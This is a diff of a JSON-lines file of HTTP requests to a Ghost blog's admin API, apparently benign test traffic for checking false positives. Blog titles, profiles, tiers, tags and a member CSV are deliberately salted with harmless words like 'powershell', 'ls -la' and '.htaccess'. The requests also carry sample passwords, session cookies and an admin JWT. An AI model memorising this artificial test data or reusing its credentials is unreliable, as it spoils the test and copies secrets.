 {"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
 {"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
 {"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
@@ -762,33 +760,3 @@
 {"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
 {"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
 {"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
-# The requests below were sent to Ghost by a script with the admin's or a
-# member's headers. They hold words that name commands and files in more fields.
-{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
-{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
-{"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
-{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
-{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
-{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
-{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=erin.htaccess%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 243", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTA2MzQ4MjU5MnxlcmluLmh0YWNjZXNzQGV4YW1wbGUuY29tfDUxbkp4aWJ4SzA4NzN0eUtIQWl5YzhyWFhKTjA0aWJ1ZDExendTVHQrSU09\",\"name\":\"Erin python3 & .htaccess\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"erin.htaccess@example.com\"}]}"}
-{"method": "PUT", "target": "/ghost/api/admin/tiers/6af54437a509340001efcef1/", "headers": ["Host: example.com", "Content-Length: 474", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tiers\":[{\"id\":\"6af54437a509340001efcef1\",\"name\":\"python3 & powershell club\",\"description\":\"Weekly ls -la and .htaccess tips\",\"slug\":\"default-product\",\"active\":true,\"type\":\"paid\",\"welcome_page_url\":null,\"created_at\":\"2026-11-12T04:44:39.000Z\",\"updated_at\":\"2026-11-12T04:44:39.000Z\",\"visibility\":\"public\",\"benefits\":[\"python3 scripts\",\"powershell recipes\",\"ls -la cheat sheet\",\".htaccess examples\"],\"currency\":\"USD\",\"monthly_price\":500,\"yearly_price\":5000,\"trial_days\":0}]}"}
-{"method": "POST", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "Content-Length: 391", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"offers\":[{\"name\":\"python3 launch\",\"code\":\"python3-launch\",\"display_title\":\"powershell & python3 deal\",\"display_description\":\"Half off for ls -la and .htaccess fans\",\"type\":\"percent\",\"cadence\":\"month\",\"amount\":50,\"duration\":\"once\",\"duration_in_months\":null,\"currency_restriction\":false,\"currency\":null,\"status\":\"active\",\"redemption_type\":\"signup\",\"tier\":{\"id\":\"6af54437a509340001efcef1\"}}]}"}
-{"method": "POST", "target": "/ghost/api/admin/recommendations/", "headers": ["Host: example.com", "Content-Length: 288", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"recommendations\":[{\"title\":\"python3 & powershell weekly\",\"description\":\"Tips on ls -la and .htaccess files\",\"excerpt\":\"A newsletter about python3, powershell, ls -la and .htaccess.\",\"featured_image\":null,\"favicon\":null,\"url\":\"https://example.com/python3/\",\"one_click_subscribe\":false}]}"}
-{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
-{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
-{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
-{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
-{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 &amp; powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
-{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
-{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
-{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
-{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
